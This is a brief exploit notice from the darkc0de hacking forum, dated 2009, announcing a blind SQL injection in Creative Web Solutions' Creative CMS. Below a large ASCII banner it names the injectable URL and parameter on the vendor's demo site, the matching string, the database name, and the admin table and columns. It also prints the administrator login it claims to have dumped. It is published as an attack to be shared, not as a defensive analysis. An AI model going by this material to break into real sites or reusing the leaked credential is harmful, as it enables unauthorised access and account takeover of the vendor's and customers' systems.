################################################################ # .___ __ _______ .___ # # __| _/____ _______| | __ ____ \ _ \ __| _/____ # # / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ # # / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ # # \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ # # \/ \/ \/ # # ___________ ______ _ __ # # _/ ___\_ __ \_/ __ \ \/ \/ / # # \ \___| | \/\ ___/\ / # # \___ >__| \___ >\/\_/ # # est.2007 \/ \/ forum.darkc0de.com # ################################################################ # d3hydr8 - rsauron - baltazar - low1z - houbysoft - beenu # # and all darkc0de members # ################################################################ # # Author: p47r1ck # # Home : www.darkc0de.com # # Email : P47r1ckro[at]gmail[dot]com # # Share the c0de! # ################################################################ # # Vendor: http://www.creativewebsols.com/ # # All Rights Reserved © Creative Web Solutions 2003 - 2013 # ################################################################ # # Dork: N/A # # Their product, Creative CMS (PHP) suffers of a Blind SQLi # # MySQL Version 5 # Table name : master_admin # Column name : uname,pwd # # Example: # # http://demo.creativewebsols.com/cms-advance/insidepage.php?catid=27 # String: "section will provide" # Database name: creweb_cmsadvance # Table name: master_admin # Column name: uname,pwd # # Dumped info : admin:creative # # ################################################################ # Vuln Discovered 16 May 2009